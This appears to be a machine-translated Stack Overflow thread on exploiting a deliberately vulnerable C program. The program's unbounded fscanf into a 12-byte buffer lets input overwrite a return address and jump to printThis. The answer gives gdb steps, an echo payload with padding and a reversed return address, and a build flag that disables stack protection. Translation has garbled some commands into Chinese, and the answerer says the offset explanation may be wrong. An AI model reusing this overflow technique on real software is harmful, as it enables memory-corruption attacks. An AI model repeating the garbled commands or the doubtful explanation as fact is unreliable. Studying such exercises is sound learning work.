0

我必须使用一串 shell 操作码来利用下面代码中的缓冲区漏洞。我几乎已经看到了 Google 建议的所有内容,但由于功能分离,这个特殊问题让我感到困惑。

void printThis(){
   if(printf("You did it 1!") >=0) exit(0);
   if(printf("You did it 2!") >=0) exit(0);
   if(printf("You did it 3!") >=0) exit(0);
}

void readIn(FILE *f){
   char exploit[12];
   int i;

   fscanf(f, "%s", exploit);

   for( i = 0; i < 12; i++){
      printf("%c", exploit[i]);
   }

   printf("\"\n");

}

int main(int argc, char** argv){
   FILE *fp;
   fp = fopen(argv[1], "r");

   readIn(fp);
   fclose(fp);
   printf("You suck at exploiting. I should not be printed.");

}

我很好奇如何readIn()使用语句的返回地址溢出缓冲区,printThis()因为它们使用不同的堆栈。直觉说,跳转到 print 调用会起作用,但我无法让它起作用。

有什么建议可以获取 GDB 中有效负载所需的信息吗?谢谢你的帮助!

4

1 回答 1

2

启动每个人最喜欢的调试器:

$ gdb myprog

拆卸printThis

$ 反汇编 printThis

获取您要调用的指令的地址,在我的例子中是0x0000000000400758. 创建一个输入文件并放入 12 个字符来填充exploit,另外 12 个 NUL 字节,然后是您想要的返回地址:

$ echo -e "abcdabcdabcd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x58\x07\x40" > input.txt

(请注意,字节与我们实际想要的相反)。使用输入文件运行测试:

$ ./myprog 输入.txt
abcdabcdabcd"
你做到了3!

相信这 12 个 NUL 字节同时覆盖了if(4 字节 int,x86_64 上的 8 字节指针),但我也不知道我在做什么或在说什么,所以这种解释可能完全是假的。

另外,我必须myprog像这样编译:

$ gcc -fno-stack-protector -g myprog.c -o myprog

否则我得到一个堆栈粉碎检测崩溃而不是所需的输出。

于 2015-04-07T19:39:49.987 回答